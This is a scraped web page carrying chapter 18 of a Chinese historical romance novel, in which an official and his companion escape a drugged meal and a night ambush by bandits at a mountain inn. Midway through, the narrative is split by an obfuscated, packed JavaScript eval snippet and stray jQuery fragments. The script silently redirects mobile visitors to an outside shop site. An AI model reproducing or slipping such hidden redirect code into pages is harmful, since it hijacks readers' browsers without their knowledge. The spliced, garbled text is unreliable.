文趣网 > 都市小说 > 错钓权臣 > 18. 第 18 章
    宋毓慈也不再多话,起身掀了门帘,去帮着妇人做菜。

    院中的桃树上挂了一盏油灯,树下放着一张竹桌,两把竹椅。

    小小的竹桌上摆满了妇人刚端上来的菜,有香椿炒蛋,腊肉炖萝卜,还有面片汤。

    宋毓慈一天都没怎么吃东西,此刻,看着这些菜,已经望眼欲穿了,

    她招呼妇人道,“大娘,一起吃吧。”

    那妇人拿着托盘,笑呵呵地站在一旁道,“不用了,你们来之前,我就吃过饭了。”

    崔文钧敛了神色,语气和煦,但却有种让人难以拒绝的干脆,“那你一样吃上一口,这样我们才放心吃。”

    听他这样说,妇人面露不忿之色,“这位公子,难道你怀疑我是歹人?我好心好意……”

    崔文钧淡淡打断她,“大娘,我付了银子,你提供食宿。买卖公平,敢问有什么好心好意的私情?”

    那大娘被他噎得说不出话来。

    宋毓慈赶忙上前,调和道,

    “大娘,你别介意,我这兄长为人多疑谨慎,说话也伤人。这样,你别跟他一般见识,来。”

    说着,她将大娘拉到她的位置,让大娘坐下,并又给她拿了双筷子。

    这才劝道,

    “您一样吃一些,等消了我这兄长的疑虑,我也能早些吃饭。”

    不同于崔文钧的冷肃,宋毓慈说话十分亲切温和,但又让那妇人无法拒绝。

    那妇人拿起面前的小碟,一样夹着吃了些。看着她吃完,又干瞪眼地等了一炷香的功夫,不见异常。见崔文钧点头,宋毓慈才动筷子。

    圆月当空,皎皎光辉。

    头顶的桃花开得正好,春风吹过,偶有一两瓣飘落在两人的衣上。

    二人还是第一次如此平静地对坐在一处,像是多年的老友般。

    这时,妇人从屋里端来一小碟糖渍梅子,放在桌上。说是去年在山里梅树上摘的,又用蜂蜜渍了几个月,今日才开坛。给他们尝尝鲜。

    崔文钧瞟了眼那碟梅子,抬眼看向妇人。

    那妇人知道他的习性,忙自己夹了颗塞进嘴里,崔文钧这才挥手让她离开。

    妇人离开不多时,只见屋里蹦蹦跳跳跑出来一个四五岁小女孩。她头上用红色绸带扎着双髻,身上穿了一件杏黄色的对襟衫,下面配着一件藕色的旋裙。

    她怯生生地凑到正在吃饭的二人旁,

    “你们是婆婆的新客人吗?”

    宋毓慈一愣,随即笑道,“你家里经常有新客人吗?”

    小女孩点了点头,随即就一直盯着那盘糖渍梅子。

    宋毓慈看了眼一旁的崔文钧,似是想征求他的同意。

    崔文钧淡淡道,“全给她吧。”

    他一向不爱吃甜食,也不会吃来路不明的东西。刚才那妇人拿起梅子虽往自己嘴里也塞了一颗,但怎知她不是事先安排好的呢?

    宋毓慈却没想到那么多,她将碟子推到小女孩面前,亲昵地摸了摸她的头,“给你吃。”

    女孩得了准许,笑得十分开心,小手抓着梅子一个个尽数塞进嘴里。

    这才心满意足地跑回屋里。

    崔文钧看着小女孩蹦蹦跳跳的背影,微微垂下眼眸,

    “听她这么说,这个院子里经常有过往游人来借宿?”

    宋毓慈埋头将碗底的汤喝完,并未十分在意他的话,

    “是啊。荒山野岭的方圆几十里就这一家宅子。常有人来借宿也正常。”

    崔文钧不语,起身去院外将两匹马牵到草被丰富处,让马吃饱。

    夜已经深了,深山里万籁俱寂。

    皎皎月光透进窗,照在青砖地上。

    宋毓慈和衣睡在地铺上,呼吸声渐稳。

    崔文钧却未睡着,他端坐在床榻上,凝视着前方。

    他凝神静气,仔细分辨着任何听到的声音。

    深夜里,任何一种声音都变得清晰。

    他屏神听了两个时辰,除了风声虫鸣,并没有其他可疑之音。

    他稍稍放松了警惕,这才打算躺下休憩,没想到,屋外却传来了极轻的脚步声,紧跟着外屋的门被人从外面打开了。

    ——

    宋毓慈睡得迷迷糊糊,忽感到一阵拉扯,她嘴被紧紧捂住,接着被人搂着在地上滚了两圈,后背触到坚硬的墙壁。

    那是一阵熟悉的松柏味道,她瞬间清醒。

    只见一片黑暗里,面前是崔文钧的脸,他朝着她比了个噤声的手势。宋毓慈这才发现二人竟在床底,她背靠着墙壁,而崔文钧护在她外面,面色冷峻。

    她朝着他眨了眨眼,示意他放心,他捂着她嘴巴的手这才放下。

    屋里的门被吱嘎一声推开,几个身着短衫布鞋的男子轻手轻脚地走进来,对着地上的被子就是一顿挥刀乱砍。

    宋毓慈虽缩在墙根处,还有崔文钧挡在她外面。但听着大刀乱砍的声音不禁浑身冒冷汗。

    倘若刚才崔文钧没把她拉进床底,她现在已经被乱刀砍死了。

    那几人砍了几刀发现不对劲后,这才将被褥掀起——被子里面空空如也。

    一人又走到床榻处,掀起被子——仍是空空如也。

    一个男人低声怒问道,“人呢?你不是说今日到了一个好货吗?”

    这时,那妇人焦急的声音响起,

    “我也不清楚啊。我明明在梅子里给他们下了足量的蒙汗药。我收盘子的时候,明明盘子都是空了的!”

    听到这话,宋毓慈只觉得身上一阵发冷,腿软手抖。

    看似和善的大娘竟然是个心狠手辣的人贩子,和这些匪徒狼狈为奸,专门拐卖路过的女子。

    若是今天不和崔文钧同行,她恐怕就要死在荒野了。

    一个黑衣男子嫌那妇人吵,一脚将她踹飞至门外,冷声道,“闭嘴。”

    然后,几人相视一眼,步步逼近床前。不约而同地低下身来,正欲拿刀往里面刺去。还未蹲稳,便觉小腿一阵刺痛,几人纷纷惊呼出声。

    床底下有人拿锋利长剑砍伤了几人的小腿。

    紧接着,一个黑色身影,翻身跳出,一道银色剑影左右摇闪地就对着几人劈了过来。

    几人只是乡野匪徒,没什么功夫,又被刺伤了腿,一时间只能往后躲闪,避让不及。

    可眼前的男子,剑法高深,出手又极为毒辣,步步都是夺命招式,他们根本没法招架。

    不消片刻,屋内已是尸陈遍地。

    重归于安静后,宋毓慈从床底下爬出来。

    淡淡的月光照在地上横七竖八的尸体上,小小的房间已然是血流成河,十分可怖。

    崔文钧走到床榻边,用帏帐擦了擦手,低头瞄了眼地上的一片狼藉,平静开口,

    “还差一个。”

    屋外,那妇人正跌跌撞撞朝着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866084|212198||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    院门方向跑去,崔文钧在屋门处站定,朝着她的方向,将手中利剑扔出,那利剑直直地插入妇人的后背,妇人瞬间倒地不起。

    “这下全了。”

    崔文钧嘴角浮起一抹淡淡的笑。

    宋毓慈抬头望着面前的男子,只见他一袭黑色劲装,如同他的身手一样干净利落。

    月光倾泻而下,铺在他轮廓分明的脸上,那张一向和煦的面容里,竟生出了几分不羁之色。

    他斜倚在门框上,慢悠悠说道,

    “看来今晚要继续赶路了,这屋里血腥气太重,已睡不了人了。”

    经历了刚才这一遭,见识了崔大人的本事后。宋毓慈不敢再有二话,连连点头,抬腿就往屋去拿包裹,可还没到西屋,便又折返回来,迟疑道,

    “那个,屋里好多......我自己去有些害怕,你能不能同我一道去拿包袱?”

    她抬头有些希冀地看向崔文钧。屋里没掌灯,又都是横七竖八的尸体,她实在有些发怵。

    不过,崔文钧也没有拒绝,他干脆地点点头,道,

    “算了,怕的话站在这里等我。”

    宋毓慈有些震惊地看着他,许是异乡同行的缘故,崔文钧面对她时,身上的锐气少了很多,也能说出这种温和的话来。

    不消片刻,崔文钧将包裹取来递给她,

    “走吧。”

    宋毓慈将包袱被在身后,刚走出两步,忽然回过头,望向那幽暗,低矮的茅草屋,

    “我们是不是还忘了什么东西?”

    崔文钧顺着她的目光看过去,淡淡说道,

    “怎么?你还想把给那老妪的一两银子拿回来?”

    他这话倒是提醒宋毓慈了,那一两银子确实该再要回来。不过,眼下还有一件最要紧的事。

    “这屋里还有个孩子。”

    崔文钧陷入了一阵沉默。他不是没想过这个事,但他选择视而不见。

    毕竟,一个罪恶滔天的人贩子的孩子跟自己有什么关系呢?

    可宋毓慈这句话一说出来,他就不能再继续装作无事发生的样子。

    他反问道,“所以呢?”

    宋毓慈转身看了眼面前隐入黑夜的群山,“这荒山野岭的,血腥气引来狼出没。那孩子毕竟无辜,我们把她一个人扔在这里,她会死的。”

    话已至此,涉及到一个稚童的生死。崔文钧也不得不正视这个问题。

    他为官八年,为了升官,为了权力,为了攀附邬衡,身不由己地帮他做了太多脏事。以至于他自己都忘了自己的本心。

    爬得太高,就看不清地面上细枝末节的人间疾苦。

    或许,也是他不想看清,因为无计可施,无法可解。

    久而久之,他便麻木了。

    任由自己为万人唾骂,任由自己为了权力忽视本心。

    不过,若想改变,也可在眼前这件举手之劳的小事做起。

    宋毓慈看着他凝视着那间茅草屋久久沉默,以为他不愿带上孩童,接着劝道,

    “大人,将这孩子带上吧。不必麻烦大人,我可带着这孩子同行。一路上的饮食起居,我来照顾。等到了城里,我们把孩子放在慈幼局,或给孩子找一户好人家送养。”

    说完,她便希冀地看向崔文钧。

    出乎意料地,崔文钧没拒绝她。

    月光下,崔文钧点了点头,“都行。看你。”